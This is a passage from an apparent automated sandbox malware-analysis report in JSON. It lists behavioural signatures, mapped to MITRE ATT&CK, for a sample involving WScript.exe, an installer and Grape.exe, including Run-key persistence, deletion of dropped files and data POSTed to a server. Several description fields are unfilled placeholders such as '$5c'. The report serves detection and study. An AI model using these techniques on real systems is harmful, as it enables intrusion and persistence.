\"RegOpenKeyExW\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExA\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExA\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExA\" in \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"function GetUserNameString: String;\" (Indicator: \"GetUserName\"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"wscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Utilify_8u8a563i.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Utilify_8u8a563i.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Grape.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Grape.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"Utilify_8u8a563i.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005108)\n \"Utilify_8u8a563i.tmp\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000952)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Utilify_8u8a563i.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"Utilify_8u8a563i.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"Grape.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"eglGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should [name] be installed?\" (Indicator: \"where \"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"function GetComputerNameString: String;\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetricsForDpi\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$54","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"Grape.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"Grape.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E96E-E325-11CE-BFC1-08002BE10318}\\0003\"; Key: \"PROFILEENUMMODE\")\n \"Grape.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E96E-E325-11CE-BFC1-08002BE10318}\\0003\"; Key: \"ICMPROFILE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"WScript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\amsi.dll\" for deletion\n \"WScript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\sw.js\" for deletion\n \"WScript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\wscript.exe\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"WScript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\amsi.dll\" with delete access\n \"WScript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\sw.js\" with delete access\n \"WScript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\wscript.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"function RegDeleteKeyIncludingSubkeys(const RootKey: Integer; const SubkeyName: String): Boolean;\" in \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\"\n Found registry deletion API: \"function RegDeleteKeyIfEmpty(const RootKey: Integer; const SubkeyName: String): Boolean;\" in \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\"\n Found registry deletion API: \"function RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;\" in \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$55","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoForDpi\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"SetEntriesInAclW\" (Indicator: \"SetEntriesInAcl\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"InitializeSid\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"wscript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"Grape.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"wscript.exe\" opened \"\\Device\\KsecDD\"\n \"Utilify_8u8a563i.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$57","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"procedure CreateMutex(const Name: String);\" (Indicator: \"CreateMutex\"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$59","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"chrome_200_percent.pak has high entropy\"\n \"chrome_100_percent.pak has high entropy\"","origin":"Binary File","mitre_attack_id":"T1027.013","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$5a","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"sw.js\" - Location: [%TEMP%\\svc_ylb6ijl1\\sw.js]- [targetUID: 00000000-00002804]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"Utilify_8u8a563i.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Utilify_8u8a563i.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"Utilify_8u8a563i.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Utilify_8u8a563i.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"WScript.exe\" at 00000000-00002804-00000C15-841969292\n \"wscript.exe\" at 00000000-00006836-00000C15-890101111","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"$5b","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"WScript.exe\" executed suspicious script\n Process \"wscript.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":3,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Tries to save executable or command in registry","description":"\"Grape.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ELECTRON.APP.GRAPE\"; Value: \"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe\")","origin":"Registry Access","mitre_attack_id":"T1547","relevance":7,"id":"registry-113","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\WINDOWS\\SYSTEM32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/27 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5c","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5e","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"Grape.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"Grape.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ELECTRON.APP.GRAPE\"; Value: \"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header 